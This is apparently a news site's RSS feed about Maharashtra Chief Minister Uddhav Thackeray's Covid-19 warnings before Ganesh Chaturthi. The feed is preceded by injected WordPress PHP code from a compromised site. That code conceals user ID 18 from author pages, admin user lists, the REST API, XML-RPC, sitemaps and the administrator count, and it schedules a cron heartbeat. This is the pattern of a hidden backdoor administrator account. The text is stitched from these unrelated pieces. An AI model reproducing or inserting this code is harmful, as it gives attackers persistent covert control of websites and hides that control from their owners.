add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Uddhav Thackeray urged the citizens and political parties to avoid crowds during celebrations appeared first on The Edge Media.
]]>Maharashtra’s daily tally of cases has been stable for quite some time now but capital city of Mumbai has been witnessing a sudden surge, the city reported 495 cases on Sunday, the highest since July 15.
The state is gearing up for Ganesh Chaturthi celebrations which is set to start later this week and Thackeray has cautioned citizens to avoid crowds and abide by proper Covid-19 preventative norms as cases rose after celebrations concluded last year. “There was a surge in Covid-19 cases after festivals last year. I request all to avoid crowding. Wearing a face mask is important even after vaccination,” he said on Sunday during an interaction with doctors.
Thackeray urged political parties to prioritize the well-being of citizens as festivals can be celebrated later when the pandemic is under control. “We can celebrate festivals later. Let us prioritise the lives and health of our citizens. The situation can go out of hand in view of the spike in daily cases,” Thackeray said in a statement. “Who would like to impose restrictions on festivals and religious programmes? But people’s lives are important,” he added.
“We have to avoid crowding…have patience. We should not be required to close the places which have been opened up now,” he said, adding, “people should know that the enemy is yet not completely defeated…the thick tail is still there.”
Thackeray also warned political parties for demanding temples be reopened across the state. “Do not agitate for reopening of temples but do it against Covid-19,” he said on Sunday without naming any particular political outfit.
The post Uddhav Thackeray urged the citizens and political parties to avoid crowds during celebrations appeared first on The Edge Media.
]]>The post Lockdown will be back if Covid cases rise, says Maharashtra CM Uddhav Thackeray appeared first on The Edge Media.
]]>He urged people to sign the commitment to rid the state and country of Covid-19. Thackeray also warned that if the state’s daily cases increased, there would be no choice but to enforce a lockdown. Thackeray was addressing at Mantralaya at the flag-hoisting ritual commemorating Independence Day.
In the context of Covid-19, Thackeray stated that the state has been experiencing pre-independence conditions for the past one and a half years as a result of Covid.
The post Lockdown will be back if Covid cases rise, says Maharashtra CM Uddhav Thackeray appeared first on The Edge Media.
]]>